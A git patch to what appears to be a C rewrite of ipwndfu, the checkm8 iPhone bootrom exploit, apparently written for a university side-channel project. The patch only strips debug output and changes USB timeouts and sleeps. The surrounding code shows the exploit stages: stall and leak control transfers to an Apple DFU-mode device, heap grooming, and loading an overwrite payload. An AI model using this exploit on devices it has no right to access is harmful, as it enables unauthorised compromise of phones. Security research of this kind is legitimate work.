From b5af2f5da661879bde9df3b21371a0d57d18adbd Mon Sep 17 00:00:00 2001 From: Gregor Haas Date: Sat, 26 Oct 2019 19:08:40 -0400 Subject: [PATCH] Smol adjustments --- .idea/workspace.xml | 5 +++-- libusb_helpers.c | 16 +++++----------- main.c | 8 ++------ 3 files changed, 10 insertions(+), 19 deletions(-) diff --git a/.idea/workspace.xml b/.idea/workspace.xml index 624c26b..d6706ad 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -13,7 +13,6 @@ - @@ -26,6 +25,7 @@ + @@ -85,7 +85,8 @@ - diff --git a/libusb_helpers.c b/libusb_helpers.c index 5794b87..c8f6e23 100644 --- a/libusb_helpers.c +++ b/libusb_helpers.c @@ -20,7 +20,6 @@ void get_test_device(libusb_context *usb_ctx, struct libusb_device_bundle *bundl usb_device = usb_device_list[i]; libusb_get_device_descriptor(usb_device, &usb_desc); - printf("%i\t%X:%X\n", i, usb_desc.idVendor, usb_desc.idProduct); if(usb_desc.idVendor == 0x05AC && usb_desc.idProduct == 0x1227) { libusb_open(usb_device, &usb_handle); @@ -103,7 +102,6 @@ void libusb1_no_error_ctrl_transfer(libusb_device_handle *handle, void stall(libusb_device_handle *handle) { - printf("Stall\n"); unsigned char *data = malloc(0xC0); memset(data, 0xA, 0xC0); libusb1_async_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1); @@ -112,27 +110,24 @@ void stall(libusb_device_handle *handle) void leak(libusb_device_handle *handle) { - printf("Leak\n"); unsigned char *data = malloc(0xC0); memset(data, 0, 0xC0); - libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1000); + libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1); free(data); } void no_leak(libusb_device_handle *handle) { - printf("No leak\n"); unsigned char *data = malloc(0xC1); memset(data, 0, 0xC1); - libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC1, 1000); + libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC1, 1); free(data); } void usb_req_stall(libusb_device_handle *handle) { - printf("Req stall\n"); unsigned char data[0]; - libusb1_no_error_ctrl_transfer(handle, 0x2, 3, 0, 0x80, data, 0, 10000); + libusb1_no_error_ctrl_transfer(handle, 0x2, 3, 0, 0x80, data, 0, 1); } void usb_req_leak(libusb_device_handle *handle) @@ -140,13 +135,12 @@ void usb_req_leak(libusb_device_handle *handle) printf("Req leak\n"); unsigned char data[0x40]; memset(data, 0, 0x40); - libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x40, 1000); + libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x40, 1); } void usb_req_no_leak(libusb_device_handle *handle) { - printf("Req no leak\n"); unsigned char data[0x41]; memset(data, 0, 0x41); - libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x41, 1000); + libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x41, 1); } \ No newline at end of file diff --git a/main.c b/main.c index 69abeec..5af1a0b 100644 --- a/main.c +++ b/main.c @@ -47,7 +47,6 @@ int complete_stage(int stage_function(libusb_device_handle *handle)) int stage1_function(libusb_device_handle *handle) { - printf("~~~ Stage 1 ~~~\n"); unsigned int i; stall(handle); @@ -65,7 +64,6 @@ int stage1_function(libusb_device_handle *handle) int stage2_function(libusb_device_handle *handle) { - printf("~~~ Stage 2 ~~~\n"); unsigned char databuf[0x800]; memset(databuf, 'A', 0x800); @@ -79,8 +77,6 @@ int stage2_function(libusb_device_handle *handle) int stage3_function(libusb_device_handle *handle) { - printf("~~~ Stage 3 ~~~\n"); - unsigned char overwrite_buf[1524]; FILE *overwrite_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/bin/overwrite.bin", "r"); fread(overwrite_buf, 1524, 1, overwrite_file); @@ -113,13 +109,13 @@ int main() if(ret == 0) { ret = complete_stage(stage2_function); + usleep(500000); } - usleep(2000); - if(ret == 0) { ret = complete_stage(stage3_function); + usleep(500000); } complete_stage(check_function);